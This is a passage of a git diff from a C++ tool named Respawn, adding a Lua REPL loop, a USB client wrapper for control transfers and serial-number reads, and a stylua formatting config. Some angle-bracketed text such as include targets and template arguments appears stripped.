returnify = [](char const *line) { + return "return " + std::string(line) + ";"; + }; + + // History is disabled by default; enable it with a reasonable limit. + linenoiseHistorySetMaxLen(32); + + char *line; + while ((line = linenoise("Respawn> "))) { + linenoiseHistoryAdd(line); + + bool did_add_return = true; + auto eval = m_lua.load(returnify(line)); + if (!eval.valid()) { + eval = m_lua.load(line); + did_add_return = false; + } + + // This assignment (and the subsequent void cast) is actually of great + // importance; without it, the optimizer will remove this entire call and + // you will be left with a RPL. + auto const result = eval(); + (void)result; + + print_stack_top(m_lua.lua_state(), did_add_return); + } + + m_implant.disconnect(); + return 0; +} diff --git a/src/usb/client.cpp b/src/usb/client.cpp new file mode 100644 index 0000000..c59b947 --- /dev/null +++ b/src/usb/client.cpp @@ -0,0 +1,84 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/usb/client.h" + +#include "respawn/usb/protocol.h" + +#include + +UsbClient::UsbClient(uint16_t vendor_id, uint16_t product_id) + : m_handle(sioku_client_create(vendor_id, product_id)) {} + +UsbClient::UsbClient(UsbClient const &client) = default; + +bool UsbClient::connect() { + jsx::log_debug("Waiting for USB device with ID %#x/%#x...", m_handle->vendor, + m_handle->product); + return sioku_connect_default(m_handle); +} + +void UsbClient::disconnect() { + jsx::log_debug("Closing USB device handle..."); + sioku_disconnect(m_handle); +} + +bool UsbClient::reconnect() { + jsx::log_trace("Closing and re-opening USB device handle..."); + return sioku_reconnect(m_handle); +} + +#define TRANSFER_DETAIL_FORMAT "0x%02x, %d, 0x%04x/0x%04x" + +UsbTransferResult UsbClient::transfer(uint8_t request_type, uint8_t request, + uint16_t value, uint16_t index, + void *data, size_t length) { + jsx::log_trace("Performing control transfer (" TRANSFER_DETAIL_FORMAT + ") with %zu bytes of data...", + request_type, request, value, index, length); + return sioku_transfer(m_handle, request_type, request, value, index, data, + length); +} + +UsbTransferResult UsbClient::transfer_async(uint8_t request_type, + uint8_t request, uint16_t value, + uint16_t index, void *data, + size_t length, uint32_t timeout) { + jsx::log_trace("Performing control transfer (" TRANSFER_DETAIL_FORMAT + ") with %zu bytes of data, %d ms timeout...", + request_type, request, value, index, length, timeout); + return sioku_transfer_async(m_handle, request_type, request, value, index, + data, length, timeout); +} + +static std::string decode_string_descriptor(uint8_t const *descriptor) { + char string[255]; + + size_t length = descriptor[0] / 2; + for (size_t i = 0; i < length; ++i) + string[i] = static_cast(descriptor[2 * (i + 1)]); + string[length - 1] = '\0'; + + return string; +} + +std::string UsbClient::serial_number() { + UsbDeviceDescriptor device{}; + auto result = + transfer(USB_RTF_HSD, USB_REQUEST_GET_DESCRIPTOR, 0x100, 0, device); + if (!result.is_ok(sizeof(device))) + return {}; + + std::array serial_sd{}; + result = + transfer(USB_RTF_HSD, USB_REQUEST_GET_DESCRIPTOR, + 0x300 | device.serial_index, 0x409 /* US English */, serial_sd); + if (!result.is_ok()) + return {}; + + return decode_string_descriptor(serial_sd.data()); +} diff --git a/stylua.toml b/stylua.toml new file mode 100644 index 0000000..0adc80e --- /dev/null +++ b/stylua.toml @@ -0,0 +1,5 @@ +column_width = 80 +indent_type = "Spaces" +indent_width = 2 +line_endings = "Unix" +call_parentheses = "NoSingleTable"